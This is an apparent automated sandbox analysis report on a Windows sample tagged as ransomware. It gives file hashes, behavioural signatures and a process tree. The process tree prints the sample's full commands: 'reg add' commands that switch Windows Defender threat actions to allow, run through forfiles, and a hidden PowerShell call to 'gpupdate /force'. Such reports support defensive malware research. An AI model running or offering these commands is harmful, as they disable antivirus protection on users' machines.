Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10/06/2024, 13:22

General

  • Target

    2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe

  • Size

    6.7MB

  • MD5

    f9a08c6959d27b9edcb157f1938ff8c9

  • SHA1

    f57fc4c0780afc65f84b3f1fddd55bdd7519c3e2

  • SHA256

    d052b74c87dd082fa1ccc32b8441e63e433a60c69b21174ccf43f7f134a725e0

  • SHA512

    eabdfc83451aa2523b924f670a5026438dc69ae9c0687b8bf12c9e318e0bbab34862ebc7e39221f140af67cd9622e5e4f9c7881feb7376bb9c4fd31e3b62fe33

  • SSDEEP

    196608:JMkbose8INju/m+EPBRXKQhjFzRDevEu:JgsWUaBRV3RH

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-06-10_f9a08c6959d27b9edcb157f1938ff8c9_bkransomware.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\SysWOW64\forfiles.exe
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3016
        • C:\Windows\SysWOW64\cmd.exe
          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2416
          • \??\c:\windows\SysWOW64\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
            5⤵
              PID:1820
        • C:\Windows\SysWOW64\forfiles.exe
          forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\SysWOW64\cmd.exe
            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1420
            • \??\c:\windows\SysWOW64\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
              5⤵
                PID:2012
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2852
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2776
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                5⤵
                  PID:2544
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2808
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2560
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                  5⤵
                    PID:2868
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2580
                • C:\Windows\SysWOW64\cmd.exe
                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2644
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2660
                    • C:\Windows\SysWOW64\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force
                      6⤵
                        PID:2456
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2200 -s 608
                2⤵
                • Program crash
                PID:2504

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • memory/2200-2-0x0000000010000000-0x00000000105E8000-memory.dmp

                    Filesize

                    5.9MB